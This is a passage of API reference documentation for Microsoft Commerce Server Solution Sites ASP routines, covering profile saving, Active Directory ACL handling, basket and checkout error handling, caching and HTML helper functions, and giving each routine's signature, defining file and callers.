Function bInsertProfile(
  byVal sSubAction,
  byRef sStatusField,
  byRef sStatusID,
  byRef sProfileIDs
)

Parameters

sSubAction
A string containing the subaction (add or copy).
sStatusField
A string containing the status field code.
sStatusID
A string containing the status ID code.
sProfileIDs
A string containing profile IDs separated by the constant PROFILE_ID_SEPARATOR.

Return Value

A Boolean indicating whether the credentials were valid and the profile was created. True indicates the credentials were valid and the profile was created. False indicates either the credentials were invalid or the profile could not be created.

Defined in File

services\include\save_one_profile.asp

Routines Called

bInsertProfileDetails

bValidateLoginNameChars

bValidatePasswordChars

EnsureUserProfile

GetQualifiedName

GetRequestString

sGetThisPageProperty

Called By

PrepareInsertProfile


bInsertProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function inserts property values into an empty profile.

Definition

Function bInsertProfileDetails(
  byVal sSubAction,
  byRef sStatusField,
  byRef sStatusID,
  byVal rsProfiles,
  byVal sProfileIDs
)

Parameters

sSubAction
A string containing the subaction (add or copy).
sStatusField
A string containing the status field code.
sStatusID
A string containing the status ID code.
rsProfiles
A Recordset object containing a profile.
sProfileIDs
A string containing profile IDs separated by the constant PROFILE_ID_SEPARATOR.

Return Value

A Boolean indicating whether the property values were successfully added. True indicates success. False indicates failure.

Defined in File

services\include\save_one_profile.asp

Routines Called

bHandlePaintingACLsForUsersInAD

bInsertProperty

DeleteSingleProfile

listCloneProfileSchema

SaveSAMAccountNameProperty

SaveUserAccountControlProperty

SaveUserParentDNProperty

SaveUserPartnerDeskRoleProperty

sGetThisPageProperty

Called By

bInsertProfile


bInsertProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the specified property is supported for the user and, if so, adds it to the profile.

Definition

Function bInsertProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

bSaveReadWriteProperty

iGetCurrentUserPropertyAccessClass

InsertHiddenProperty

SaveReadOnlyProperty

sGetUserAccessForThisProperty

Called By

bInsertProfileDetails


bInvalidDate - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether a given date is not valid.

Definition

Function bInvalidDate(
  sDate,
  dtDate
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria


bIsAddressNameUnique - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines if the specified address name is unique.

Definition

Function bIsAddressNameUnique(
  byVal sAddrName
)

Parameters

sAddrName
A string containing the address name.

Return Value

A Boolean indicating whether the address name is unique. True indicates the name is unique. False indicates the name already exists.

Defined in File

newaddr.asp

Routines Called

GetUserAddresses

Called By

iValidateSubmittedAddressForAddressBook


bIsPropertyValueAdded - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines if any property values were added in the edit page.

Definition

Function bIsPropertyValueAdded()

Defined in File

services\include\check_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

sGetUserAccessForThisProperty

Called By

PrepareCloseAction


bIsSearchDeptPageCached - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether this page has already been generated and cached.

Definition

Function bIsSearchDeptPageCached(
  byRef htmCachedPage,
  byRef iCatalogSetID
)

Parameters

htmCachedPage
A string containing the HTML cached page.
iCatalogSetID
An integer containing the catalog set ID.

Return Value

A Boolean that indicates whether the page is cached. True indicates the page is cached. False indicates the page is not cached.

Defined in File

srchdept.asp

Routines Called

LookupCachedFragment

mscsUserCatalogsetID

Called By

Main (srchdept.asp)


bIsShippingMethodSupported - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the specified shipping method is supported.

Definition

Function bIsShippingMethodSupported(
  byVal sSelectedMethodID
)

Defined in File

_setship.asp

Routines Called

None.

Called By

CatchErrors (_setship.asp)


bIsSiteTerm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the specified property is a site term.

Definition

Function bIsSiteTerm(
  byVal oXMLProperty,
  byRef sReferenceString
)

Defined in File

include\global_siteterms_lib.asp

Routines Called

None.

Called By

oGetSiteTermOptions


bIsStepSearchPageCached - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether this page has already been generated and cached.

Definition

Function bIsStepSearchPageCached(
  sCategoryName,
  sCatalogName,
  byRef htmPageContent,
  byRef sCacheKey
)

Parameters

sCategoryName
A string containing the category name.
sCatalogName
A string containing the category name.
htmPageContent
A string returning the cached page.
sCacheKey
A string returning the cache key.

Return Value

A Boolean that indicates whether the page is cached. True indicates the page is cached. False indicates the page is not cached.

Defined in File

stepsrch.asp

Routines Called

LookupCachedFragment

Called By

Main (stepsrch.asp)

Remarks

If the page is not cached, the htmPageContent parameter returns the empty string. However, the cache key, consisting of the category and catalog names, is still returned.


bMatchesPattern - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the value specified by the sValue parameter matches the expression specified by the sPattern parameter. If a match is found, this function returns True; otherwise it returns False.

Definition

Function bMatchesPattern(
  oRegEx,
  sValue,
  sPattern
)

Parameters

oRegEx
A reference to a Visual Basic Scripting Edition RegExp object.
sValue
A string containing text to be tested against the regular expression specified by the sPattern parameter.
sPattern
A string containing a regular expression pattern that is valid for the Visual Basic Scripting Edition RegExp object.

Return Value

A Boolean where True indicates that the sValue parameter was found to match the pattern specified by the sPattern parameter, and False otherwise.

Defined in File

include\form_lib.asp

Routines Called

None.

Called By

bValidateLoginNameChars

bValidatePasswordChars

GetFieldsErrorDictionary


Bold - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function surrounds the string specified by the s parameter with the tags "<B>" and "</B>", and then returns the resulting string.

Definition

Function Bold(
  byVal s
)

Parameters

s
A string that contains the text to be wrapped in bold tags (<B> and </B>).

Return Value

A string that contains the bold-wrapped text.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

htmRenderDiscountsDescriptions

rowRenderPropertyGroup

tableRenderFooterInfo

tableRenderMessageBoxPage

tblRenderOrderDetailsContents


BooleanToString - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a Boolean value to a string value.

Definition

Function BooleanToString(
  sValue
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

ShowRefinedSearch


bPaintACLForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function paints access control lists (ACLs) for a user in an Active Directory store. This is achieved by adding or removing the user to or from <COMPANY_NAME>_ADMINGROUP or <COMPANY_NAME>_USERGROUP.

Definition

Function bPaintACLForUser(
  byVal sUserCN,
  byVal sSubAction,
  byVal iUserPrevPartnerDeskRole,
  byVal iUserPartnerDeskRole
)

Parameters

sUserCN
A string containing the common name for the user.
sSubAction
A string containing the subaction.
iUserPrevPartnerDeskRole
An integer specifying the previous PartnerDesk role of the user.
iUserPartnerDeskRole
An integer specifying the current PartnerDesk role of the user.

Return Value

A Boolean indicating whether the user was successfully added or removed. True indicates success. False indicates failure.

Defined in File

services\include\ad_routines.asp

Routines Called

bAddUserToGroup

bRemoveUserFromGroup

EnsureUserProfile

GetOrgAttributeFromID

Called By

bHandlePaintingACLsForUsersInAD


bProfileHasChanged - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the posted values for a profile are different than the values for the profile in the Profile store.

Definition

Function bProfileHasChanged(
  byVal sProfileID
)

Defined in File

services\include\check_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

rsGetProfileDetails

sGetUserAccessForThisProperty

Called By

htmRenderMessageBoxPage

PrepareCloseAction


bRegistrationPageNotAvailable - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the registration page is unavailable.

Definition

Function bRegistrationPageNotAvailable()

Return Value

A Boolean indicating whether the registration page is unavailable. True indicates the page is not available. False indicates the page is available.

Defined in File

login\newuser.asp

Routines Called

None.

Called By

Main (login\newuser.asp)

Remarks

If any of the following App Default Config properties are set, the registration page is unavailable:

  • i_SiteRegistrationOptions = REGISTRATION_NOT_SUPPORTED
  • i_FormLoginOptions = FORM_LOGIN_NOT_SUPPORTED
  • i_FormLoginOptions = USE_IIS_AUTH


bRemoveUserFromGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes a user from an Active Directory group.

Definition

Function bRemoveUserFromGroup(
  byVal szGroupName,
  byVal sUserDN
)

Parameters

szGroupName
A string containing the name of the group to remove the user from.
sUserDN
A string containing the distinguished name of the user.

Return Value

A Boolean indicating whether the user was successfully removed. True indicates success. False indicates failure.

Defined in File

services\include\ad_routines.asp

Routines Called

rsGetProfile

Called By

bPaintACLForUser


BRTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function appends the <BR> tag to the end of the string specified by the s parameter, and then returns the resulting string.

Definition

Function BRTag(
  s
)

Parameters

s
A string that contains the text that will have a BR element appended.

Return Value

A string that contains the text passed in the s parameter, appended with the <BR> tag.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

InsertLineBreaks


bSaveProfileAndRedirect - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates the profile properties and redirects the delegated administrator to the services\partner\users.asp page.

Definition

Function bSaveProfileAndRedirect(
  byVal sSubAction,
  byRef sProfileIDs,
  byRef sStatusField,
  byRef iStatusID,
  byVal sActionPage
)

Return Value

A Boolean indicating whether the profile was successfully updated. True indicates success. False indicates failure.

Defined in File

services\include\save_one_profile.asp

Routines Called

bSaveProfileDetails

iGetCountOfProfiles

rsGetProfileDetails

Called By

htmSaveChangesConfirmationHandler


bSaveProfileDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves the value of each property in the profile. If this is a user profile and Active Directory is used, the access control lists (ACL) are updated.

Definition

Function bSaveProfileDetails(
  byVal sSubAction,
  byRef sProfileIDs,
  byRef sStatusField,
  byRef sStatusID,
  byVal rsProfiles
)

Defined in File

services\include\save_one_profile.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

bHandlePaintingACLsForUsersInAD

bSaveProperty

bValidateLoginNameChars

GetRequestString

iGetCountOfProfiles

iGetCurrentUserPropertyAccessClass

listCloneProfileSchema

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

sGetThisPageProperty

sGetUserAccessForThisProperty

UpdateUserProfile

Called By

bSaveProfileAndRedirect

PrepareSaveProfiles


bSaveProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves the specified property.

Definition

Function bSaveProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs,
  byVal sAccessType
)

Defined in File

services\include\save_one_profile.asp

Routines Called

bSaveReadWriteProperty

SaveReadOnlyProperty

Called By

bSaveProfileDetails


bSaveReadWriteProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves a read/write property.

Definition

Function bSaveReadWriteProperty(
  byVal sSubAction,
  byVal oProperty,
  byVal rsProfiles,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

GetRequestString

iGetCountOfProfiles

SaveCommonValueForAllSelectedRecords

Called By

bInsertProperty

bSaveProperty


bValidateLoginNameChars - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates the characters in a login name.

Definition

Function bValidateLoginNameChars(
  sLogon
)

Defined in File

services\include\lib.asp

Routines Called

bMatchesPattern

Called By

bInsertProfile

bSaveProfileDetails


bValidatePasswordChars - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates the characters in the string specified by the sPassword parameter.

Definition

Function bValidatePasswordChars(
  sPassword
)

Parameters

sPassword
A string containing the password.

Return Value

A Boolean indicating whether the characters in the password are valid. True indicates they are all valid. False indicates at least one is not valid.

Defined in File

services\include\lib.asp

Routines Called

bMatchesPattern

Called By

bInsertProfile

UpdatePasswordActionHandler


CacheFragment - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub caches an HTML fragment.

Definition

Sub CacheFragment(
  byVal sCacheName,
  byVal sCacheItemName,
  byVal htmlString
)

Parameters

sCacheName
A string containing the name of the cache.
sCacheItemName
A string used to identify the cached HTML fragment.
htmlString
A string containing the HTML fragment to cache.

Defined in File

include\std_cache_lib.asp

Routines Called

GetTicketInUrlArg

Called By

htmCategoryHTML

htmRenderDefaultPage

htmRenderFillOutForm

htmRenderFullTextSearchResults

htmRenderLoginSection

htmRenderMenu

Main (pickship.asp)

Main (product.asp)

Main (srchdept.asp)

Main (stepsrch.asp)

RenderNavbar

Remarks

If the HTML fragment contains a ticket, it is replaced with a token ("__TICKET__"). This token is replaced with the ticket of any user who subsequently calls LookupCachedFragment for the given cache item (sCacheItemName).

The key to the cached item consists of the item name, sCacheItemName, appended with the language used, and a constant identifying whether the ticket of the user is stored in a cookie or in the URL.


CacheObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub caches the specified object.

Definition

Sub CacheObject(
  byVal sCacheName,
  byVal sCacheItemName,
  byVal oObject
)

Parameters

sCacheName
A string containing the name of the cache.
sCacheItemName
A string used to identify the cached object.
oObject
The object to be cached.

Defined in File

include\std_cache_lib.asp

Routines Called

None.

Called By

oCachedDiscountProductInfo


CatchErrors (addrbook.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the addrform.asp page if the address book is disabled, or to the basket.asp page if the basket is empty.

Definition

Sub CatchErrors(
  byVal iAddrType
)

Parameters

iAddrType
An integer constant representing the address type (shipping or billing).

Defined in File

addrbook.asp

Routines Called

GenerateURL

LoadBasket

Called By

Main (addrbook.asp)


CatchErrors (addrform.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty.

Definition

Sub CatchErrors(
  byVal mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

addrform.asp

Routines Called

GenerateURL

Called By

Main (addrform.asp)


CatchErrors (newaddr.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the addrform.asp page if the address book is disabled or set to read-only, to the basket.asp page if the basket is empty, or to the addrbook.asp page if trying to edit or delete a non-existent address.

Definition

Sub CatchErrors(
  byVal iAddrType,
  byVal sAction,
  byVal sAddrID,
  byVal rsAddr
)

Defined in File

newaddr.asp

Routines Called

GenerateURL

LoadBasket

Called By

SetupAddressForm


CatchErrors (pickship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty, or to the addrform.asp or addrbook.asp page if each item in the order does not have an associated shipping address.

Definition

Sub CatchErrors(
  byVal mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

pickship.asp

Routines Called

GenerateURL

GetAddressPage

RemoveEmptyOrderForms

Called By

PreparePickShipForm


CatchErrors (summary.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the appropriate page if an error is encountered.

Definition

Sub CatchErrors(
  byVal mscsOrderGrp,
  listMethods
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.
listMethods
A SimpleList object that contains payments methods for the user.

Defined in File

summary.asp

Routines Called

GenerateURL

GetAddressPage

RemoveEmptyOrderForms

Called By

InitializeSummaryPage

Remarks

This sub redirects the user to the basket.asp page if the basket is empty, to an error page if there are no applicable payment methods, to the pickship.asp page if each item in the order does not have an associated shipping method, or to the addrform.asp or addrbook.asp page if each item in the order does not have an associated shipping address or the order does not have a billing address.


CatchErrors (_setadrs.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty, or to the addrbook.asp page if the address is not valid.

Definition

Sub CatchErrors(
  byVal mscsOrderGrp,
  byVal sAddrID,
  byVal rsAddr
)

Defined in File

_setadrs.asp

Routines Called

GenerateURL

Called By

Main (_setadrs.asp)


CatchErrors (_setship.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the basket.asp page if the basket is empty, or to the pickship.asp page if the shipping method is not valid.

Definition

Sub CatchErrors(
  mscsOrderGrp,
  byVal sSelectedMethodID
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.
sSelectedMethodID
A string containing the shipping method ID.

Defined in File

_setship.asp

Routines Called

bIsShippingMethodSupported

GenerateURL

Called By

Main (_setship.asp)


CatchErrorsForPaymentPages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user to the appropriate page if an error is encountered when initializing the credit card or purchase order pages.

Definition

Sub CatchErrorsForPaymentPages(
  mscsOrderGrp,
  listMethods,
  sPaymentMethod,
  byRef sVerifyWithTotal
)

Defined in File

include\payment.asp

Routines Called

EnsureSupportForPaymentMethod

GenerateURL

GetAddressPage

GetRequestString

RemoveEmptyOrderForms

Called By

InitializeCreditcardPage

InitializePO


cellRenderReadOnlyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares a read-only property to be rendered.

Definition

Function cellRenderReadOnlyProperty(
  byVal sFieldName,
  byVal sDisplayName,
  byVal sFieldValue,
  byVal sDisplayValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderBlankSpaces

RenderHiddenField

TRTag

Called By

rowRenderReadOnlyProperty

tblRenderOrderDetailsContents


ChangeActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function handles the "change password" action.

Definition

Function ChangeActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\password_handlers.asp

Routines Called

htmRenderChangePasswordPage

Called By

PasswordActionHandlers


CheckBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub runs the basket pipeline to retrieve the latest basket information.

Definition

Sub CheckBasket(
  mscsOrderGrp,
  byRef bBasketIsEmpty,
  byRef iErrorCount,
  byRef bMustSaveBasket,
  byRef oOrderFormDisplayOrder
)

Defined in File

basket.asp

Routines Called

GetErrorCount

GetLineItemsCount

GetPipelineLogFile

RemoveEmptyOrderForms

RunMtsPipeline

SortDictionaryKeys

Called By

Main (basket.asp)


CheckIfOrderExists - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user or delegated administrator to the services\error\noorder.asp page if the specified order does not exist.

Definition

Sub CheckIfOrderExists(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\lib.asp

Routines Called

GenerateURL

iGetCountOfProfiles

rsGetOrderDetails

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


CheckIfProfilesExist - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub determines whether the specified profiles exist.

Definition

Sub CheckIfProfilesExist(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\lib.asp

Routines Called

GenerateURL

iGetCountOfProfiles

rsGetProfileDetails

Called By

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)


CheckOut - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function runs the basket, total, and checkout pipelines.

Definition

Function CheckOut(
  mscsOrderGrp,
  byVal sVerifyWithTotal
)

Defined in File

include\payment.asp

Routines Called

GenerateURL

GetErrorCount

GetPipelineLogFile

RunMtsPipeline

Called By

InitSitePipelines

RunMtsPipeline

ValidateSubmittedCreditCardData

ValidateSubmittedPurchaseOrderData


CheckPartnerServiceAccess - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub implements page-level access control. It grants access to users who have their PartnerDeskRoleFlags set to ROLE_ADMIN. All others are redirected to an error page.

Definition

Sub CheckPartnerServiceAccess()

Defined in File

include\std_access_lib.asp

Routines Called

GenerateURL

GetCurrentUserProfile

Called By

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)

Main (services\partner\orders.asp)

Main (services\partner\users.asp)

Main (services\partner\view_order.asp)


CloseOrderDetailsActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub handles the "close order details" action.

Definition

Sub CloseOrderDetailsActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sSourcePage,
  byVal sProfileListPage
)

Parameters

sAction
A string containing the action.
sSubAction
A string containing the subaction.
sProfileIDs
A string containing profile IDs separated by a constant.
sSourcePage
A string containing the name of the page where this action occurred.
sProfileListPage
A string containing the name of the page that lists the profiles.

Defined in File

services\include\order_handlers.asp

Routines Called

GenerateURL

sGetThisPageProperty

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


CollectBasketItems - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves all the items in the specified OrderGroup object.

Definition

Function CollectBasketItems(
  oOrderGrp
)

Parameters

oOrderGrp
An OrderGroup object representing an order.

Return Value

A SimpleList object containing all the items in an order.

Defined in File

template\discount.asp

Routines Called

None.

Called By

GetBasketDetails

RenderBasketPage


colRenderAdvancedSearchTab - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds the advanced search option tab to list-type pages.

Definition

Function colRenderAdvancedSearchTab(
  sCriteria
)

Defined in File

services\include\render_common.asp

Routines Called

Bold

RenderLink

sReConstructPageURL

Called By

formRenderOrderSearchOptions

formRenderProfileSearchOptions


colRenderCountryNames - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of all country names.

Definition

Function colRenderCountryNames(
  byVal oProperty,
  byVal sPropertyValue
)

Defined in File

services\include\render_common.asp

Routines Called

ConvertListToArray

GetCountryNamesList

htmRenderCountries

Called By

None.


colRenderForeignKeyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders hidden fields that contain a variety of content, depending on whether a pre-existing profile exists, whether a new profile is being created, and so on. A button is rendered to allow the user to submit the selected information.

Definition

Function colRenderForeignKeyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

RenderSubmitButton

sGetSelectActionPropertyName

sGetUserLoginName

Called By

colRenderProperty


colRenderPasswordProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of the value for the user_security_password property.

Definition

Function colRenderPasswordProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

RenderPasswordBox

RenderSubmitButton

Called By

colRenderProperty


colRenderPrimaryKeyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of the value for the primary key property.

Definition

Function colRenderPrimaryKeyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

RenderTextBox

sGetThisPageProperty

Called By

rowRenderProperty


colRenderProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of a property.

Definition

Function colRenderProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

colRenderForeignKeyProperty

colRenderPasswordProperty

htmRenderBoolean

htmRenderPartnerDeskRoles

htmRenderSiteTerm

htmRenderUserStatusOptions

RenderTextBox

Called By

rowRenderBlankProperty

rowRenderProperty


colRenderPropertyTip - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares a warning message for a property that fails validation.

Definition

Function colRenderPropertyTip(
  byVal sTip
)

Parameters

sTip
A string that contains the message.

Return Value

A string that contains the HTML message.

Defined in File

services\include\render_edit_common.asp

Routines Called

FormatOutput

RenderText

Called By

rowRenderPropertyTip


colRenderSimpleSearchTab - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds the simple search option tab to list-type pages.

Definition

Function colRenderSimpleSearchTab(
  byVal sCriteria
)

Defined in File

services\include\render_common.asp

Routines Called

Bold

RenderLink

sReConstructPageURL

Called By

formRenderOrderSearchOptions

formRenderProfileSearchOptions


colRenderUniqueKeyProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the rendering of the value for the unique key property.

Definition

Function colRenderUniqueKeyProperty(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal sProfileIDs,
  byVal varPropertyValue
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

RenderHiddenField

RenderTextBox

Called By

rowRenderProperty


ConvertListToArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a SimpleList object to an array.

Definition

Function ConvertListToArray(
  byVal list
)

Parameters

list
A SimpleList object.

Return Value

The array.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

colRenderCountryNames


CopyProductToItem - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function copies product information into a Dictionary object.

Definition

Function CopyProductToItem(
  rsProduct,
  item,
  arrParentCategories
)

Parameters

rsProduct
A Recordset object containing information on a product.
item
A Dictionary object to contain the product information.
arrParentCategories
An array containing the parent categories for the product.

Return Value

None.

Defined in File

template\discount.asp

Routines Called

None.

Called By

listGetShownProductsInfo


CorrectRequest - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub corrects a cookie for URL case-sensitivity. This correction is performed to ensure that cookies are always read/written from the exact same hostname and path (cookie paths are case sensitive).

Definition

Sub CorrectRequest()

Defined in File

include\std_cookie_lib.asp

Routines Called

GetCorrectedCookiePath

GetCorrectedHostName

Called By

SetupPage

Remarks

If the App Default Config i_CookiePathCorrectionOptions property is set to APP_BASED_CORRECTION (1), the case of the path property of the cookie is converted to match the IIS application name.

If the App Default Config i_HostNameCorrectionOptions property is set to HOSTNAME_CORRECTION_ENABLED (1), the case of the domain name property of the cookie is converted to match the true host name.

If either correction is applied, the user is redirected to the URL, which now has the correct case.


CreateOptOutList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a new empty mailing list, which is used to opt-out of a direct mail campaign.

Definition

Function CreateOptOutList(
  listmanager,
  campitem_id
)

Parameters

listmanager
An initialized ListManager object.
campitem_id
A GUID representing the campaign item ID of the direct mail item.

Return Value

A GUID representing the new list ID.

Defined in File

opt-out.asp

Routines Called

None.

Called By

OptOut


CreatePOIndexes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds temporary item indices to each item in the specified OrderGroup object.

Definition

Sub CreatePOIndexes(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
An initialized OrderGroup object.

Defined in File

basket.asp

Routines Called

None.

Called By

htmRenderBasket


CreateSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a set from an array of items. A "set" in this context is a comma-separated string.

Definition

Function CreateSet(
  byVal arrItems
)

Parameters

arrItems
An array.

Return Value

A string containing the set.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

InitPageSets

Remarks

This function is passed an array of strings.


DeleteAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub checks the user action on the DeleteAll message box page, and redirects to the profile list page with the appropriate parameters.

Definition

Sub DeleteAllActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

ReDirectToPage

Called By

htmEditPageActionHandlers


DeleteAllProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub deletes all the profiles returned by the search criteria in the corresponding list page.

Definition

Sub DeleteAllProfiles(
  byVal dictSearchOptions
)

Defined in File

services\include\delete_profiles.asp

Routines Called

GetTableNameAndWhereClause

sConstructWHEREclause

sGetWhereClauseForCurrentUser

Called By

PrepareDeleteAllAction

Remarks

This function uses ADO to access data directly.


DeleteRegisteredUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

